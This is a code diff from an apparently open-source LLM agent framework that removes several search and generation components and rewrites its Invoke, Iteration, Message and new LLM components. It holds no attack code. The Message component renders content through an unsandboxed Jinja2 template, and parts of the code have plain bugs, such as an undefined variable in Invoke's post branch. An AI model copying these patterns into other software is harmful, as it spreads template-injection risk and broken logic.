-        if not self._param.inputs and prompt.find("{input}") >= 0:
-            retrieval_res = self.get_input()
-            input = ("  - " + "\n  - ".join(
-                [c for c in retrieval_res["content"] if isinstance(c, str)])) if "content" in retrieval_res else ""
-            prompt = re.sub(r"\{input\}", re.escape(input), prompt)
-
-        downstreams = self._canvas.get_component(self._id)["downstream"]
-        if kwargs.get("stream") and len(downstreams) == 1 and self._canvas.get_component(downstreams[0])[
-            "obj"].component_name.lower() == "answer":
-            return partial(self.stream_output, chat_mdl, prompt, retrieval_res)
-
-        if "empty_response" in retrieval_res.columns and not "".join(retrieval_res["content"]):
-            empty_res = "\n- ".join([str(t) for t in retrieval_res["empty_response"] if str(t)])
-            res = {"content": empty_res if empty_res else "Nothing found in knowledgebase!", "reference": []}
-            return pd.DataFrame([res])
-
-        msg = self._canvas.get_history(self._param.message_history_window_size)
-        if len(msg) < 1:
-            msg.append({"role": "user", "content": "Output: "})
-        _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(chat_mdl.max_length * 0.97))
-        if len(msg) < 2:
-            msg.append({"role": "user", "content": "Output: "})
-        ans = chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf())
-        ans = re.sub(r"^.*</think>", "", ans, flags=re.DOTALL)
-        self._canvas.set_component_infor(self._id, {"prompt":msg[0]["content"],"messages":  msg[1:],"conf":  self._param.gen_conf()})
-        if self._param.cite and "chunks" in retrieval_res.columns:
-            res = self.set_cite(retrieval_res, ans)
-            return pd.DataFrame([res])
-
-        return Generate.be_output(ans)
-
-    def stream_output(self, chat_mdl, prompt, retrieval_res):
-        res = None
-        if "empty_response" in retrieval_res.columns and not "".join(retrieval_res["content"]):
-            empty_res = "\n- ".join([str(t) for t in retrieval_res["empty_response"] if str(t)])
-            res = {"content": empty_res if empty_res else "Nothing found in knowledgebase!", "reference": []}
-            yield res
-            self.set_output(res)
-            return
-
-        msg = self._canvas.get_history(self._param.message_history_window_size)
-        if msg and msg[0]['role'] == 'assistant':
-            msg.pop(0)
-        if len(msg) < 1:
-            msg.append({"role": "user", "content": "Output: "})
-        _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(chat_mdl.max_length * 0.97))
-        if len(msg) < 2:
-            msg.append({"role": "user", "content": "Output: "})
-        answer = ""
-        for ans in chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf()):
-            res = {"content": ans, "reference": []}
-            answer = ans
-            yield res
-
-        if self._param.cite and "chunks" in retrieval_res.columns:
-            res = self.set_cite(retrieval_res, answer)
-            yield res
-        self._canvas.set_component_infor(self._id, {"prompt":msg[0]["content"],"messages":  msg[1:],"conf":  self._param.gen_conf()})
-        self.set_output(Generate.be_output(res))
-
-    def debug(self, **kwargs):
-        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
-        prompt = self._param.prompt
-
-        for para in self._param.debug_inputs:
-            kwargs[para["key"]] = para.get("value", "")
-
-        for n, v in kwargs.items():
-            prompt = re.sub(r"\{%s\}" % re.escape(n), str(v).replace("\\", " "), prompt)
-
-        u = kwargs.get("user")
-        ans = chat_mdl.chat(prompt, [{"role": "user", "content": u if u else "Output: "}], self._param.gen_conf())
-        return pd.DataFrame([ans])

agent/component/github.py

@@ -1,61 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-import pandas as pd
-import requests
-from agent.component.base import ComponentBase, ComponentParamBase
-
-
-class GitHubParam(ComponentParamBase):
-    """
-    Define the GitHub component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 10
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-
-
-class GitHub(ComponentBase, ABC):
-    component_name = "GitHub"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return GitHub.be_output("")
-
-        try:
-            url = 'https://api.github.com/search/repositories?q=' + ans + '&sort=stars&order=desc&per_page=' + str(
-                self._param.top_n)
-            headers = {"Content-Type": "application/vnd.github+json", "X-GitHub-Api-Version": '2022-11-28'}
-            response = requests.get(url=url, headers=headers).json()
-
-            github_res = [{"content": '<a href="' + i["html_url"] + '">' + i["name"] + '</a>' + str(
-                i["description"]) + '\n stars:' + str(i['watchers'])} for i in response['items']]
-        except Exception as e:
-            return GitHub.be_output("**ERROR**: " + str(e))
-
-        if not github_res:
-            return GitHub.be_output("")
-
-        df = pd.DataFrame(github_res)
-        logging.debug(f"df: {df}")
-        return df

agent/component/googlescholar.py

@@ -1,70 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-import pandas as pd
-from agent.component.base import ComponentBase, ComponentParamBase
-from scholarly import scholarly
-
-
-class GoogleScholarParam(ComponentParamBase):
-    """
-    Define the GoogleScholar component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 6
-        self.sort_by = 'relevance'
-        self.year_low = None
-        self.year_high = None
-        self.patents = True
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-        self.check_valid_value(self.sort_by, "GoogleScholar Sort_by", ['date', 'relevance'])
-        self.check_boolean(self.patents, "Whether or not to include patents, defaults to True")
-
-
-class GoogleScholar(ComponentBase, ABC):
-    component_name = "GoogleScholar"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return GoogleScholar.be_output("")
-
-        scholar_client = scholarly.search_pubs(ans, patents=self._param.patents, year_low=self._param.year_low,
-                                               year_high=self._param.year_high, sort_by=self._param.sort_by)
-        scholar_res = []
-        for i in range(self._param.top_n):
-            try:
-                pub = next(scholar_client)
-                scholar_res.append({"content": 'Title: ' + pub['bib']['title'] + '\n_Url: <a href="' + pub[
-                    'pub_url'] + '"></a> ' + "\n author: " + ",".join(pub['bib']['author']) + '\n Abstract: ' + pub[
-                                                   'bib'].get('abstract', 'no abstract')})
-
-            except StopIteration or Exception:
-                logging.exception("GoogleScholar")
-                break
-
-        if not scholar_res:
-            return GoogleScholar.be_output("")
-
-        df = pd.DataFrame(scholar_res)
-        logging.debug(f"df: {df}")
-        return df

agent/component/invoke.py

@@ -14,9 +14,14 @@
 #  limitations under the License.
 #
 import json
+import logging
+import os
 import re
+import time
 from abc import ABC
 import requests
+
+from api.utils.api_utils import timeout
 from deepdoc.parser import HtmlParser
 from agent.component.base import ComponentBase, ComponentParamBase
 
@@ -48,28 +53,14 @@ class InvokeParam(ComponentParamBase):
 class Invoke(ComponentBase, ABC):
     component_name = "Invoke"
 
-    def _run(self, history, **kwargs):
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3))
+    def _invoke(self, **kwargs):
         args = {}
         for para in self._param.variables:
-            if para.get("component_id"):
-                if '@' in para["component_id"]:
-                    component = para["component_id"].split('@')[0]
-                    field = para["component_id"].split('@')[1]
-                    cpn = self._canvas.get_component(component)["obj"]
-                    for param in cpn._param.query:
-                        if param["key"] == field:
-                            if "value" in param:
-                                args[para["key"]] = param["value"]
-                else:
-                    cpn = self._canvas.get_component(para["component_id"])["obj"]
-                    if cpn.component_name.lower() == "answer":
-                        args[para["key"]] = self._canvas.get_history(1)[0]["content"]
-                        continue
-                    _, out = cpn.output(allow_partial=False)
-                    if not out.empty:
-                        args[para["key"]] = "\n".join(out["content"])
-            else:
+            if para.get("value"):
                 args[para["key"]] = para["value"]
+            else:
+                args[para["key"]] = self._canvas.get_variable_value(para["ref"])
 
         url = self._param.url.strip()
         if url.find("http") != 0:
@@ -83,50 +74,69 @@ class Invoke(ComponentBase, ABC):
         if re.sub(r"https?:?/?/?", "", self._param.proxy):
             proxies = {"http": self._param.proxy, "https": self._param.proxy}
 
-        if method == 'get':
-            response = requests.get(url=url,
-                                    params=args,
-                                    headers=headers,
-                                    proxies=proxies,
-                                    timeout=self._param.timeout)
-            if self._param.clean_html:
-                sections = HtmlParser()(None, response.content)
-                return Invoke.be_output("\n".join(sections))
+        last_e = ""
+        for _ in range(self._param.max_retries+1):
+            try:
+                if method == 'get':
+                    response = requests.get(url=url,
+                                            params=args,
+                                            headers=headers,
+                                            proxies=proxies,
+                                            timeout=self._param.timeout)
+                    if self._param.clean_html:
+                        sections = HtmlParser()(None, response.content)
+                        self.set_output("result", "\n".join(sections))
+                    else:
+                        self.set_output("result", response.text)
 
-            return Invoke.be_output(response.text)
+                if method == 'put':
+                    if self._param.datatype.lower() == 'json':
+                        response = requests.put(url=url,
+                                                json=args,
+                                                headers=headers,
+                                                proxies=proxies,
+                                                timeout=self._param.timeout)
+                    else:
+                        response = requests.put(url=url,
+                                                data=args,
+                                                headers=headers,
+                                                proxies=proxies,
+                                                timeout=self._param.timeout)
+                    if self._param.clean_html:
+                        sections = HtmlParser()(None, response.content)
+                        self.set_output("result", "\n".join(sections))
+                    else:
+                        self.set_output("result", response.text)
 
-        if method == 'put':
-            if self._param.datatype.lower() == 'json':
-                response = requests.put(url=url,
-                                        json=args,
-                                        headers=headers,
-                                        proxies=proxies,
-                                        timeout=self._param.timeout)
-            else:
-                response = requests.put(url=url,
-                                        data=args,
-                                        headers=headers,
-                                        proxies=proxies,
-                                        timeout=self._param.timeout)
-            if self._param.clean_html:
-                sections = HtmlParser()(None, response.content)
-                return Invoke.be_output("\n".join(sections))
-            return Invoke.be_output(response.text)
+                if method == 'post':
+                    if self._param.datatype.lower() == 'json':
+                        response = requests.post(url=url,
+                                                 json=args,
+                                                 headers=headers,
+                                                 proxies=proxies,
+                                                 timeout=self._param.timeout)
+                    else:
+                        response = requests.post(url=url,
+                                                 data=args,
+                                                 headers=headers,
+                                                 proxies=proxies,
+                                                 timeout=self._param.timeout)
+                    if self._param.clean_html:
+                        self.set_output("result", "\n".join(sections))
+                    else:
+                        self.set_output("result", response.text)
 
-        if method == 'post':
-            if self._param.datatype.lower() == 'json':
-                response = requests.post(url=url,
-                                         json=args,
-                                         headers=headers,
-                                         proxies=proxies,
-                                         timeout=self._param.timeout)
-            else:
-                response = requests.post(url=url,
-                                         data=args,
-                                         headers=headers,
-                                         proxies=proxies,
-                                         timeout=self._param.timeout)
-            if self._param.clean_html:
-                sections = HtmlParser()(None, response.content)
-                return Invoke.be_output("\n".join(sections))
-            return Invoke.be_output(response.text)
+                return self.output("result")
+            except Exception as e:
+                last_e = e
+                logging.exception(f"Http request error: {e}")
+                time.sleep(self._param.delay_after_error)
+
+        if last_e:
+            self.set_output("_ERROR", str(last_e))
+            return f"Http request error: {last_e}"
+
+        assert False, self.output()
+
+    def thoughts(self) -> str:
+        return "Waiting for the server respond..."

agent/component/iteration.py

@@ -24,10 +24,18 @@ class IterationParam(ComponentParamBase):
 
     def __init__(self):
         super().__init__()
-        self.delimiter = ","
+        self.items_ref = ""
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "items": {
+                "type": "json",
+                "name": "Items"
+            }
+        }
 
     def check(self):
-        self.check_empty(self.delimiter, "Delimiter")
+        return True
 
 
 class Iteration(ComponentBase, ABC):
@@ -38,8 +46,15 @@ class Iteration(ComponentBase, ABC):
             if self._canvas.get_component(cid)["obj"].component_name.lower() != "iterationitem":
                 continue
             if self._canvas.get_component(cid)["parent_id"] == self._id:
-                return self._canvas.get_component(cid)
+                return cid
+
+    def _invoke(self, **kwargs):
+        arr = self._canvas.get_variable_value(self._param.items_ref)
+        if not isinstance(arr, list):
+            self.set_output("_ERROR", self._param.items_ref + " must be an array, but its type is "+str(type(arr)))
+
+    def thoughts(self) -> str:
+        return "Need to process {} items.".format(len(self._canvas.get_variable_value(self._param.items_ref)))
+
 
-    def _run(self, history, **kwargs):
-        return self.output(allow_partial=False)[1]
 

agent/component/iterationitem.py

@@ -14,7 +14,6 @@
 #  limitations under the License.
 #
 from abc import ABC
-import pandas as pd
 from agent.component.base import ComponentBase, ComponentParamBase
 
 
@@ -33,21 +32,52 @@ class IterationItem(ComponentBase, ABC):
         super().__init__(canvas, id, param)
         self._idx = 0
 
-    def _run(self, history, **kwargs):
+    def _invoke(self, **kwargs):
         parent = self.get_parent()
-        ans = parent.get_input()
-        ans = parent._param.delimiter.join(ans["content"]) if "content" in ans else ""
-        ans = [a.strip() for a in ans.split(parent._param.delimiter)]
-        if not ans:
+        arr = self._canvas.get_variable_value(parent._param.items_ref)
+        if not isinstance(arr, list):
             self._idx = -1
-            return pd.DataFrame()
+            raise Exception(parent._param.items_ref + " must be an array, but its type is "+str(type(arr)))
 
-        df = pd.DataFrame([{"content": ans[self._idx]}])
-        self._idx += 1
-        if self._idx >= len(ans):
+        if self._idx > 0:
+            self.output_collation()
+
+        if self._idx >= len(arr):
             self._idx = -1
-        return df
+            return
+
+        self.set_output("item", arr[self._idx])
+        self.set_output("index", self._idx)
+
+        self._idx += 1
+
+    def output_collation(self):
+        pid = self.get_parent()._id
+        for cid in self._canvas.components.keys():
+            obj = self._canvas.get_component_obj(cid)
+            p = obj.get_parent()
+            if not p:
+                continue
+            if p._id != pid:
+                continue
+
+            if p.component_name.lower() in ["categorize", "message", "switch", "userfillup", "interationitem"]:
+                continue
+
+            for k, o in p._param.outputs.items():
+                if "ref" not in o:
+                    continue
+                _cid, var = o["ref"].split("@")
+                if _cid != cid:
+                    continue
+                res = p.output(k)
+                if not res:
+                    res = []
+                res.append(obj.output(var))
+                p.set_output(k, res)
 
     def end(self):
         return self._idx == -1
 
+    def thoughts(self) -> str:
+        return "Next turn..."

agent/component/keyword.py

@@ -1,72 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-import re
-from abc import ABC
-from api.db import LLMType
-from api.db.services.llm_service import LLMBundle
-from agent.component import GenerateParam, Generate
-
-
-class KeywordExtractParam(GenerateParam):
-    """
-    Define the KeywordExtract component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 1
-
-    def check(self):
-        super().check()
-        self.check_positive_integer(self.top_n, "Top N")
-
-    def get_prompt(self):
-        self.prompt = """
-- Role: You're a question analyzer. 
-- Requirements: 
-  - Summarize user's question, and give top %s important keyword/phrase.
-  - Use comma as a delimiter to separate keywords/phrases.
-- Answer format: (in language of user's question)
-  - keyword: 
-""" % self.top_n
-        return self.prompt
-
-
-class KeywordExtract(Generate, ABC):
-    component_name = "KeywordExtract"
-
-    def _run(self, history, **kwargs):
-        query = self.get_input()
-        if hasattr(query, "to_dict") and "content" in query:
-            query = ", ".join(map(str, query["content"].dropna()))
-        else:
-            query = str(query)
-
-
-        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
-        self._canvas.set_component_infor(self._id, {"prompt":self._param.get_prompt(),"messages":  [{"role": "user", "content": query}],"conf": self._param.gen_conf()})
-
-        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": query}],
-                            self._param.gen_conf())
-
-        ans = re.sub(r"^.*</think>", "", ans, flags=re.DOTALL)
-        ans = re.sub(r".*keyword:", "", ans).strip()
-        logging.debug(f"ans: {ans}")
-        return KeywordExtract.be_output(ans)
-
-    def debug(self, **kwargs):
-        return self._run([], **kwargs)

agent/component/llm.py

@@ -0,0 +1,270 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+import logging
+import os
+import re
+from typing import Any, Generator
+
+import json_repair
+from copy import deepcopy
+from functools import partial
+
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from api.db.services.tenant_llm_service import TenantLLMService
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
+from rag.prompts import message_fit_in, citation_prompt
+from rag.prompts.prompts import tool_call_summary
+
+
+class LLMParam(ComponentParamBase):
+    """
+    Define the LLM component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.llm_id = ""
+        self.sys_prompt = ""
+        self.prompts = [{"role": "user", "content": "{sys.query}"}]
+        self.max_tokens = 0
+        self.temperature = 0
+        self.top_p = 0
+        self.presence_penalty = 0
+        self.frequency_penalty = 0
+        self.output_structure = None
+        self.cite = True
+        self.visual_files_var = None
+
+    def check(self):
+        self.check_decimal_float(float(self.temperature), "[Agent] Temperature")
+        self.check_decimal_float(float(self.presence_penalty), "[Agent] Presence penalty")
+        self.check_decimal_float(float(self.frequency_penalty), "[Agent] Frequency penalty")
+        self.check_nonnegative_number(int(self.max_tokens), "[Agent] Max tokens")
+        self.check_decimal_float(float(self.top_p), "[Agent] Top P")
+        self.check_empty(self.llm_id, "[Agent] LLM")
+        self.check_empty(self.sys_prompt, "[Agent] System prompt")
+        self.check_empty(self.prompts, "[Agent] User prompt")
+
+    def gen_conf(self):
+        conf = {}
+        def get_attr(nm):
+            try:
+                return getattr(self, nm)
+            except Exception:
+                pass
+
+        if int(self.max_tokens) > 0 and get_attr("maxTokensEnabled"):
+            conf["max_tokens"] = int(self.max_tokens)
+        if float(self.temperature) > 0 and get_attr("temperatureEnabled"):
+            conf["temperature"] = float(self.temperature)
+        if float(self.top_p) > 0 and get_attr("topPEnabled"):
+            conf["top_p"] = float(self.top_p)
+        if float(self.presence_penalty) > 0 and get_attr("presencePenaltyEnabled"):
+            conf["presence_penalty"] = float(self.presence_penalty)
+        if float(self.frequency_penalty) > 0 and get_attr("frequencyPenaltyEnabled"):
+            conf["frequency_penalty"] = float(self.frequency_penalty)
+        return conf
+
+
+class LLM(ComponentBase):
+    component_name = "LLM"
+    
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        super().__init__(canvas, id, param)
+        self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), TenantLLMService.llm_id2llm_type(self._param.llm_id),
+                                  self._param.llm_id, max_retries=self._param.max_retries,
+                                  retry_interval=self._param.delay_after_error
+                                  )
+        self.imgs = []
+
+    def get_input_form(self) -> dict[str, dict]:
+        res = {}
+        for k, v in self.get_input_elements().items():
+            res[k] = {
+                "type": "line",
+                "name": v["name"]
+            }
+        return res
+
+    def get_input_elements(self) -> dict[str, Any]:
+        res = self.get_input_elements_from_text(self._param.sys_prompt)
+        for prompt in self._param.prompts:
+            d = self.get_input_elements_from_text(prompt["content"])
+            res.update(d)
+        return res
+
+    def set_debug_inputs(self, inputs: dict[str, dict]):
+        self._param.debug_inputs = inputs
+
+    def add2system_prompt(self, txt):
+        self._param.sys_prompt += txt
+
+    def _prepare_prompt_variables(self):
+        if self._param.visual_files_var:
+            self.imgs = self._canvas.get_variable_value(self._param.visual_files_var)
+            if not self.imgs:
+                self.imgs = []
+            self.imgs = [img for img in self.imgs if img[:len("data:image/")] == "data:image/"]
+            if self.imgs and TenantLLMService.llm_id2llm_type(self._param.llm_id) == LLMType.CHAT.value:
+                self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.IMAGE2TEXT.value,
+                                          self._param.llm_id, max_retries=self._param.max_retries,
+                                          retry_interval=self._param.delay_after_error
+                                          )
+
+
+        args = {}
+        vars = self.get_input_elements() if not self._param.debug_inputs else self._param.debug_inputs
+        prompt = self._param.sys_prompt
+        for k, o in vars.items():
+            args[k] = o["value"]
+            if not isinstance(args[k], str):
+                try:
+                    args[k] = json.dumps(args[k], ensure_ascii=False)
+                except Exception:
+                    args[k] = str(args[k])
+            self.set_input_value(k, args[k])
+
+        msg = self._canvas.get_history(self._param.message_history_window_size)[:-1]
+        msg.extend(deepcopy(self._param.prompts))
+        prompt = self.string_format(prompt, args)
+        for m in msg:
+            m["content"] = self.string_format(m["content"], args)
+        if self._param.cite and self._canvas.get_reference()["chunks"]:
+            prompt += citation_prompt()
+
+        return prompt, msg
+
+    def _generate(self, msg:list[dict], **kwargs) -> str:
+        if not self.imgs:
+            return self.chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf(), **kwargs)
+        return self.chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf(), images=self.imgs, **kwargs)
+
+    def _generate_streamly(self, msg:list[dict], **kwargs) -> Generator[str, None, None]:
+        ans = ""
+        last_idx = 0
+        endswith_think = False
+        def delta(txt):
+            nonlocal ans, last_idx, endswith_think
+            delta_ans = txt[last_idx:]
+            ans = txt
+
+            if delta_ans.find("<think>") == 0:
+                last_idx += len("<think>")
+                return "<think>"
+            elif delta_ans.find("<think>") > 0:
+                delta_ans = txt[last_idx:last_idx+delta_ans.find("<think>")]
+                last_idx += delta_ans.find("<think>")
+                return delta_ans
+            elif delta_ans.endswith("</think>"):
+                endswith_think = True
+            elif endswith_think:
+                endswith_think = False
+                return "</think>"
+
+            last_idx = len(ans)
+            if ans.endswith("</think>"):
+                last_idx -= len("</think>")
+            return re.sub(r"(<think>|</think>)", "", delta_ans)
+
+        if not self.imgs:
+            for txt in self.chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf(), **kwargs):
+                yield delta(txt)
+        else:
+            for txt in self.chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf(), images=self.imgs, **kwargs):
+                yield delta(txt)
+
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))
+    def _invoke(self, **kwargs):
+        def clean_formated_answer(ans: str) -> str:
+            ans = re.sub(r"^.*</think>", "", ans, flags=re.DOTALL)
+            ans = re.sub(r"^.*```json", "", ans, flags=re.DOTALL)
+            return re.sub(r"```\n*$", "", ans, flags=re.DOTALL)
+
+        prompt, msg = self._prepare_prompt_variables()
+        error = ""
+
+        if self._param.output_structure:
+            prompt += "\nThe output MUST follow this JSON format:\n"+json.dumps(self._param.output_structure, ensure_ascii=False, indent=2)
+            prompt += "\nRedundant information is FORBIDDEN."
+            for _ in range(self._param.max_retries+1):
+                _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+                error = ""
+                ans = self._generate(msg)
+                msg.pop(0)
+                if ans.find("**ERROR**") >= 0:
+                    logging.error(f"LLM response error: {ans}")
+                    error = ans
+                    continue
+                try:
+                    self.set_output("structured_content", json_repair.loads(clean_formated_answer(ans)))
+                    return
+                except Exception:
+                    msg.append({"role": "user", "content": "The answer can't not be parsed as JSON"})
+                    error = "The answer can't not be parsed as JSON"
+            if error:
+                self.set_output("_ERROR", error)
+            return
+
+        downstreams = self._canvas.get_component(self._id)["downstream"] if self._canvas.get_component(self._id) else []
+        ex = self.exception_handler()
+        if any([self._canvas.get_component_obj(cid).component_name.lower()=="message" for cid in downstreams]) and not self._param.output_structure and not (ex and ex["goto"]):
+            self.set_output("content", partial(self._stream_output, prompt, msg))
+            return
+
+        for _ in range(self._param.max_retries+1):
+            _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+            error = ""
+            ans = self._generate(msg)
+            msg.pop(0)
+            if ans.find("**ERROR**") >= 0:
+                logging.error(f"LLM response error: {ans}")
+                error = ans
+                continue
+            self.set_output("content", ans)
+            break
+
+        if error:
+            if self.get_exception_default_value():
+                self.set_output("content", self.get_exception_default_value())
+            else:
+                self.set_output("_ERROR", error)
+
+    def _stream_output(self, prompt, msg):
+        _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+        answer = ""
+        for ans in self._generate_streamly(msg):
+            if ans.find("**ERROR**") >= 0:
+                if self.get_exception_default_value():
+                    self.set_output("content", self.get_exception_default_value())
+                    yield self.get_exception_default_value()
+                else:
+                    self.set_output("_ERROR", ans)
+                return
+            yield ans
+            answer += ans
+        self.set_output("content", answer)
+
+    def add_memory(self, user:str, assist:str, func_name: str, params: dict, results: str):
+        summ = tool_call_summary(self.chat_mdl, func_name, params, results)
+        logging.info(f"[MEMORY]: {summ}")
+        self._canvas.add_memory(user, assist, summ)
+
+    def thoughts(self) -> str:
+        _, msg = self._prepare_prompt_variables()
+        return "⌛Give me a moment—starting from: \n\n" + re.sub(r"(User's query:|[\\]+)", '', msg[-1]['content'], flags=re.DOTALL) + "\n\nI’ll figure out our best next move."

agent/component/message.py

@@ -13,41 +13,138 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+import json
+import os
 import random
-from abc import ABC
+import re
 from functools import partial
+from typing import Any
+
 from agent.component.base import ComponentBase, ComponentParamBase
+from jinja2 import Template as Jinja2Template
+
+from api.utils.api_utils import timeout
 
 
 class MessageParam(ComponentParamBase):
-
     """
     Define the Message component parameters.
     """
     def __init__(self):
         super().__init__()
-        self.messages = []
+        self.content = []
+        self.stream = True
+        self.outputs = {
+            "content": {
+                "type": "str"
+            }
+        }
 
     def check(self):
-        self.check_empty(self.messages, "[Message]")
+        self.check_empty(self.content, "[Message] Content")
+        self.check_boolean(self.stream, "[Message] stream")
         return True
 
 
-class Message(ComponentBase, ABC):
+class Message(ComponentBase):
     component_name = "Message"
 
-    def _run(self, history, **kwargs):
-        if kwargs.get("stream"):
-            return partial(self.stream_output)
+    def get_kwargs(self, script:str, kwargs:dict = {}, delimeter:str=None) -> tuple[str, dict[str, str | list | Any]]:
+        for k,v in self.get_input_elements_from_text(script).items():
+            if k in kwargs:
+                continue
+            v = v["value"]
+            if not v:
+                v = ""
+            ans = ""
+            if isinstance(v, partial):
+                for t in v():
+                    ans += t
+            elif isinstance(v, list) and delimeter:
+                ans = delimeter.join([str(vv) for vv in v])
+            elif not isinstance(v, str):
+                try:
+                    ans = json.dumps(v, ensure_ascii=False)
+                except Exception:
+                    pass
+            else:
+                ans = v
+            if not ans:
+                ans = ""
+            kwargs[k] = ans
+            self.set_input_value(k, ans)
 
-        return Message.be_output(random.choice(self._param.messages))
+        _kwargs = {}
+        for n, v in kwargs.items():
+            _n = re.sub("[@:.]", "_", n)
+            script = re.sub(r"\{%s\}" % re.escape(n), _n, script)
+            _kwargs[_n] = v
+        return script, _kwargs
 
-    def stream_output(self):
-        res = None
-        if self._param.messages:
-            res = {"content": random.choice(self._param.messages)}
-            yield res
+    def _stream(self, rand_cnt:str):
+        s = 0
+        all_content = ""
+        cache = {}
+        for r in re.finditer(self.variable_ref_patt, rand_cnt, flags=re.DOTALL):
+            all_content += rand_cnt[s: r.start()]
+            yield rand_cnt[s: r.start()]
+            s = r.end()
+            exp = r.group(1)
+            if exp in cache:
+                yield cache[exp]
+                all_content += cache[exp]
+                continue
 
-        self.set_output(res)
+            v = self._canvas.get_variable_value(exp)
+            if not v:
+                v = ""
+            if isinstance(v, partial):
+                cnt = ""
+                for t in v():
+                    all_content += t
+                    cnt += t
+                    yield t
 
+                continue
+            elif not isinstance(v, str):
+                try:
+                    v = json.dumps(v, ensure_ascii=False, indent=2)
+                except Exception:
+                    v = str(v)
+            yield v
+            all_content += v
+            cache[exp] = v
 
+        if s < len(rand_cnt):
+            all_content += rand_cnt[s: ]
+            yield rand_cnt[s: ]
+
+        self.set_output("content", all_content)
+
+    def _is_jinjia2(self, content:str) -> bool:
+        patt = [
+            r"\{%.*%\}", "{{", "}}"
+        ]
+        return any([re.search(p, content) for p in patt])
+
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))
+    def _invoke(self, **kwargs):
+        rand_cnt = random.choice(self._param.content)
+        if self._param.stream and not self._is_jinjia2(rand_cnt):
+            self.set_output("content", partial(self._stream, rand_cnt))
+            return
+
+        rand_cnt, kwargs = self.get_kwargs(rand_cnt, kwargs)
+        template = Jinja2Template(rand_cnt)
+        try:
+            content = template.render(kwargs)
+        except Exception:
+            pass
+
+        for n, v in kwargs.items():
+            content = re.sub(n, v, content)
+
+        self.set_output("content", content)
+
+    def thoughts(self) -> str:
+        return ""

agent/component/pubmed.py

@@ -1,69 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
